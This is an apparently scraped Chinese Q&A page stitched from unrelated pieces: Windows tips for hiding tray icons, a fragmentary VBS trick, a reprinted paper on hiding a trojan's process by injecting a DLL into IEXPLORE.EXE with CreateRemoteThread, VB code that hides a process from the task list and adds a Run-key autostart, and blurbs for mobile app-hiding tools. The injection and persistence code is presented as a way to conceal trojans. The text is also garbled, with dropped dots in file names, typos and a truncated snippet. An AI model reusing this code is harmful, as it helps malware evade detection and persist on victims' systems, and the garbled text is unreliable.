几种方法可以试一下:
1、右键任务栏空白处,点选“属性”,在“任务栏”项下勾选“隐藏不活动的图标”,点“确定”即可。
2、点“开始”-“运行”-输入gpeditmsc点“确定”打开“组策略”编辑器。依次点“用户配置”—“管理模板”-“任务栏和开始菜单”,在右侧双击“隐藏通知区域”选项打开其“属性”对话框,将其设置为“已启用”即可。电脑重启后该设置即会生效。
3、点“开始”-“运行”-输入regedit点“确定”打开注册表,定位到hkey_current_user\software\microsoft\windows\currentversion\policies\explorer项下,将右侧的notrayitemsdisplay键值设置为1(
0为显示;1为隐藏)
《Hide Process Tools》百度网盘免费资源下载
\Program Files (x86)\Ruanmei\PCMaster\cleanmasterexe" & """", 0 '如果路径中含有空格,就需要在路径前后加引号和调用符号,格式为"""" & "路径" & """" Set WShell = Nothing
5、按照第2步的方式保存后,双击可以查看效果。需要注意的是,如果程序本身需要管理员权限,而且你的系统开启了UAC,权限请求的窗口是无法隐藏的,如下图——
不过在点击“是”之后就不会看到运行界面和任务栏图标了,只能在任务管理器中找到进程,如下图——
6、如果你想用命令提示符来运行这些vbs,可以采用如下命令格式: wscript "路径\文件名vbs" 实例: wscript "%userprofile%\Desktop\新建文件夹 (2)\hidewordpadvbs"
运行效果和双击vbs文件本身是一致的。
摘要 进程的隐藏一直是木马程序设计者不断探求的重要技术,本文采用远程线程技术,通过动态链接库 方法 ,较好地解决了这一 问题 ,通过远程线程将木马作为线程隐藏在其他进程中,从而达到隐藏的目的。
关键字进程 线程 木马 动态链接库
木马程序(也称后门程序)是能被控制的运行在远程主机上的程序,由于木马程序是运行在远程主机上,所以进程的隐藏无疑是大家关心的焦点。
本文 分析 了Windows NT/2000系统下进程隐藏的基本技术和方法,并着重讨论运用线程嫁接技术如何实现Windows NT/2000系统中进程的隐藏。
1 基本原理
在WIN95/98中,只需要将进程注册为系统服务就能够从进程查看器中隐形,可是这一切在Windows NT/2000中却完全不同, 无论木马从端口、启动文件上如何巧妙地隐藏自己,始终都不能躲过Windows NT/2000的任务管理器,Windows NT/2000的任务管理器均能轻松显示出木马进程,难道在Windows NT/2000下木马真的再也无法隐藏自己的进程了?我们知道,在WINDOWS系统下,可执行文件主要是Exe和Com文件,这两种文件在运行时都有一个共同点,会生成一个独立的进程,寻找特定进程是我们发现木马的方法之一,随着入侵检测软件的不断 发展 ,关联进程和SOCKET已经成为流行的技术,假设一个木马在运行时被检测软件同时查出端口和进程,我们基本上认为这个木马的隐藏已经完全失败。在Windows NT/2000下正常情况用户进程对于系统管理员来说都是可见的,要想做到木马的进程隐藏,有两个办法,第一是让系统管理员看不见你的进程;第二是不使用进程。本文以第二种方法为例加以讨论,其基本原理是将自已的木马以线程方式嫁接于远程进程之中,远程进程则是合法的用户程序,这样用户管理者看到的只是合法进程,而无法发现木马线程的存在,从而达到隐藏的目的。
2 实现方法
为了弄清实现方法,我们必须首先了解Windows系统的另一种"可执行文件"----DLL,DLL是Dynamic Link Library(动态链接库)的缩写,DLL文件是Windows的基础,因为所有的API函数都是在DLL中实现的。DLL文件没有程序逻辑,是由多个功能函数构成,它并不能独立运行,一般都是由进程加载并调用的。因为DLL文件不能独立运行,所以在进程列表中并不会出现DLL,假设我们编写了一个木马DLL,并且通过别的进程来运行它,那么无论是入侵检测软件还是进程列表中,都只会出现那个进程而并不会出现木马DLL,如果那个进程是可信进程,(例如浏览器程序IEXPLOREEXE,没人会怀疑它是木马吧?)那么我们编写的DLL作为那个进程的一部分,也将成为被信赖的一员,也就达到了隐藏的目的。
运行DLL方法有多种,但其中最隐蔽的方法是采用动态嵌入技术,动态嵌入技术指的是将自己的代码嵌入正在运行的进程中的技术。 理论 上来说,在Windows中的每个进程都有自己的私有内存空间,别的进程是不允许对这个私有空间进行 *** 作的,但是实际上,我们仍然可以利用种种方法进入并 *** 作进程的私有内存。动态嵌入技术有多种如:窗口Hook、挂接API、远程线程等,这里介绍一下远程线程技术,它只要有基本的进线程和动态链接库的知识就可以很轻松地完成动态嵌入。
远程线程技术指的是通过在另一个进程中创建远程线程的方法进入那个进程的内存地址空间。我们知道,在进程中,可以通过CreateThread函数创建线程,被创建的新线程与主线程(就是进程启动时被同时自动建立的那个线程)共享地址空间以及其他的资源。但是很少有人知道,通过CreateRemoteThread也同样可以在另一个进程内创建新线程,被创建的远程线程同样可以共享远程进程(是远程进程)的地址空间,所以,实际上,我们通过一个远程线程,进入了远程进程的内存地址空间,也就拥有了那个远程进程相当的权限。
3 实施步骤
1) 用Process32Next()函数找到宿主进程,获取宿主进程ID,并用
OpenProcess()函数打开宿主进程。
2) 用VirtualAllocEx()函数分配远程进程地址空间中的内存。
3) 用WriteProcessMemory()函数将待隐藏的DLL的路径名。
4) 拷贝到步骤二已经分配的内存中。
5) 用GetProcAddress()函数获取LoadlibraryA()函数的实地址(在kernel32dll中)。
6) 用CreateRemoteThread()函数在远程进程中创建一个线程。
7) 它调用正确的LoadlibraryA()函数。
8) 为它传递步骤二中分配的内存地址。
4 具体实例
下面是在C++Builder 40环境下编写的运用远程线程技术隐藏木马的程序代码:
#include
#include
#include
#include//该头文件包涵了进程 *** 作的API函数
#pragma hdrstop
#include "Unit1h"
#pragma package(smart_init)
#pragma resource "dfm"
Insisting pszLibFileName;//存放待隐藏的DLL文件名
HANDLE hProcessSnap=NULL;//进程快照句柄
HANDLE hRemoteProcess;//远程进程句柄
LPVOID pszLibFileRemote;//远程进程中分配给文件名的空间
HMODULE phmd;//存放kernel32dll句柄
HANDLE hRemoteThread1=NULL;//存放远程线程句柄
TForm1 Form1;
//---------------------------------------------------------
__fast call TForm1::TForm1(TComponent Owner)
: TForm(Owner)
{
}
//---------------------------------------------------------
void __fastcall TForm1::Button1Click(TObject Sender)
{
PROCESSENTRY32 pe32={0};
DWORD dwRemoteProcessId;
hProcessSnap=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
//打开进程快照
if(hProcessSnap==(HANDLE)-1)
{
MessageBox(NULL,"CreateToolhelp32Snapshot failed","",MB_OK);
exit(0);
} //失败返回
pe32dwSize=sizeof(PROCESSENTRY32);
if(Process32First(hProcessSnap,&pe32)) //获取第一个进程
{
do{
AnsiString te;
te=pe32szExeFile;
if(tePos("iexploreexe")|| tePos("IEXPLOREEXE"))
//找到宿主进程,以IEXPLOREEXE为例
{ dwRemoteProcessId=pe32th32ProcessID;
break;
}
}
while(Process32Next(hProcessSnap,&pe32));//获取下一个进程
}
else
{
MessageBox(NULL,"取第一个进程失败","",MB_OK);
exit(0);
}
hRemoteProcess=OpenProcess(PROCESS_CREATE_THREAD|PROCESS_VM
_OPERATION|PROCESS_VM_WRITE,FALSE,dwRemoteProcessId);
//打开远程进程
pszLibFileName=GetCurrentDir()+""+"hidedll";
// 假设hidedll是待隐藏的进程
int cb=(1+pszLibFileNameLength())sizeof(char);// 计算 dll文件名长度
pszLibFileRemote=(PWSTR)VirtualAllocEx(hRemoteProcess,NULL,cb,
MEM_COMMIT,PAGE_READWRITE);
//申请存放文件名的空间
BOOL ReturnCode=WriteProcessMemory(hRemoteProcess,
pszLibFileRemote,(LPVOID)pszLibFileNamec_str(),cb,NULL);
//把dll文件名写入申请的空间
phmd=GetModuleHandle("kernel32dll");
LPTHREAD_START_ROUTINE fnStartAddr=(LPTHREAD_START_ROUTINE)
GetProcAddress(phmd,"LoadLibraryA");
//获取动态链接库函数地址
hRemoteThread1=CreateRemoteThread(hRemoteProcess,NULL,0,
pfnStartAddr,pszLibFileRemote,0,NULL);
//创建远程线程
if(hRemoteThread1!=NULL)
CloseHandle(hRemoteThread1);//关闭远程线程
if(hProcessSnap!=NULL)
CloseHandle(hProcessSnap);//关闭进程快照
}
该程序编译后命名为RmtDllexe,运行时点击界面上的按钮即可。
至此,远程嵌入顺利完成,为了试验我们的hidedll是不是已经正常地在远程线程运行,我同样在C++Builder40环境下编写并编译了下面的hidedll作为测试:
#include
#include
#pragma hdrstop
#pragma argsused
BOOL WINAPI DllEntryPoint(HINSTANCE hinst, unsigned long reason, void lpReserved)
{
char szProcessId[64];
switch(reason)
{
case DLL_PROCESS_ATTACH:
{//获取当前进程ID
itoa(GetCurrentProcessId(),szProcessId,10);
MessageBox(NULL,szProcessId,"RemoteDLL",MB_OK);
break;
}
default:
}
return TRUE;
}
当使用RmtDllexe程序将这个hidedll嵌入IEXPLOREEXE进程后假设PID=1208),该测试DLLd出了1208字样的确认框,同时使用PS工具
也能看到:
Process ID: 1208
C:WINNTIEXPLOREEXE (0x00400000)
……
C:WINNThidedll (0x100000000)
……
这证明hidedll已经在IEXPLOREEXE进程内正确地运行了。上面程序的头文件由编译器自动生成,未作改动,故略之。
5 结束语
进程隐藏技术和 方法 有很多,而且这一技术 发展 也相当快,本文仅从一个侧面加以讨论,希望通过这一探讨让我们对进程隐藏技术有一个更清楚的认识,同时也为我们防范他人利用进程隐藏手段非法入侵提供 参考 ,本文抛砖引玉,不当之处诚恳批评指正。
参考 文献
1 Jeffrey Richter著 王建华、张焕生、侯丽坤等译 Windows核心编程 机械 工业 出版社2
K.赖斯多夫 H 亨德森著 希望图书创作室译 Borland C++ Builder 实用培训教程
在进程中隐藏的
Public Declare Function GetCurrentProcessId Lib "kernel32" () As Long
Public Declare Function RegisterServiceProcess Lib "kernel32" (ByVal dwProcessID As Long, ByVal dwType As Long) As Long
Public Const RSP_SIMPLE_SERVICE = 1
Public Const RSP_UNREGISTER_SERVICE = 0
下面代码为隐藏
Public Sub MakeMeService()
Dim pid As Long
Dim reserv As Long
pid = GetCurrentProcessId() '取的当前运行的程序Id
regserv = RegisterServiceProcess(pid, RSP_SIMPLE_SERVICE)
对当前的程序传入 RSP_SIMPLE_SERVICE 消息,使此程序
从任务列表中隐藏
End Sub
'恢复隐藏
Public Sub UnMakeMeService()
Dim pid As Long
Dim reserv As Long
pid = GetCurrentProcessId()
regserv = RegisterServiceProcess(pid, RSP_UNREGISTER_SERVICE)
原理同上
End Sub
Private Sub Command1_Click()
Call MakeMeService
End Sub
Private Sub Command2_Click()
Call UnMakeMeService
End Sub
Private Sub Form_Load()
Form1Left = ScreenWidth / 2 - Form1Width / 2
Form1Top = ScreenHeight / 2 - Form1Height / 2
End Sub
开机自动启动
'使用下面这三个API与两个常数(标记部份为快捷键方式增加到开始下的启动)
Private Declare Function RegSetValue Lib "advapi32dll" Alias "RegSetValueA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal dwType As Long, ByVal lpData As String, ByVal cbData As Long) As Long
Private Declare Function RegCreateKey Lib "advapi32dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function RegCloseKey Lib "advapi32dll" (ByVal hKey As Long) As Long
Const HKEY_LOCAL_MACHINE = &H80000002
Const REG_SZ = 1
Private Sub Command1_Click()
Dim Ret2 As Long
'打开 HKEY_LOCAL_MACHINE 下的 software\microsoft\windows\currentVersion\run
RegCreateKey HKEY_LOCAL_MACHINE, "software\microsoft\windows\currentVersion\run", Ret2
'将此主键下的 "默认" 值改为你的 exe 全路径"
RegSetValue Ret2, vbNullString, REG_SZ, "c:\windows\abcexe", 4
'关闭对主键的 *** 作
RegCloseKey Ret2
End Sub
窗口总是在最前面
Option Explicit
'VB声明
' Private Declare Function SetWindowPos Lib "user32" (ByVal hwnd As Long, ByVal hWndInsertAfter As Long, ByVal x As Long, ByVal y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long
Private Declare Function SetWindowPos Lib "user32" ( _
ByVal hwnd As Long, _
ByVal hWndInsertAfter As Long, _
ByVal x As Long, ByVal y As Long, _
ByVal cx As Long, ByVal cy As Long, _
ByVal wFlags As Long _
) As Long
Const HWND_TOPMOST = -1
Const SWP_SHOWWINDOW = &H40
Private Sub Form_load()
Dim retValue As Long
'将窗体设置为处于所有窗口的顶层,注意在 VB 中运行时,
’可能不行,但编译成EXE后就可以了
retValue = SetWindowPos(Mehwnd, HWND_TOPMOST, MeCurrentX,
MeCurrentY, 300, 300, SWP_SHOWWINDOW)
End Sub
有应用隐藏大师、小隐大师、PrivacyHider、黑洞隐藏冻结这四种。
1应用隐藏大师(又名为:AppHideMaster)是一款能够把ni8手机里的应用进行隐藏的手机软件,如果你有别人不想看的软件或者视频照片,通通都可以用这款软件进行隐藏,能够非常好的保护您的安全隐私。
2小隐大师是一个非常实用的手机安全软件,可以为用户隐藏想要隐藏的应用软件,保护你的隐私安全,还能为应用加锁,只有你自己才能打开加锁的应用,支持相册隐藏,保密相册内容隐私,让你的信息更加安全。
3Privacyhider是一款应用程序隐藏软件,它可以真正保护个人隐私,隐藏所有你不想被别人看到的应用程序或和视频,同时应用伪装功能和紧急切换功能来保护你。
4黑洞隐藏和冻结是一款功能强大且易于使用的手机应用程序隐藏软件,它允许你隐藏其他人不想在黑洞中看到的应用程序。只有你能知道密码,你可以通过摇动进入。如果有人意外进入,会及时发出警报,并可以修改应用程序的图标。
以上就是关于如何在任务栏上隐藏应用程序的图标全部的内容,包括:如何在任务栏上隐藏应用程序的图标、求Hide Process Tools(通用进程隐藏工具) V1.0 绿色版网盘资源、Win10技巧:怎样隐藏任意程序运行界面等相关内容解答,如果想了解更多相关内容,可以关注我们,你们的支持是我们更新的动力!
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)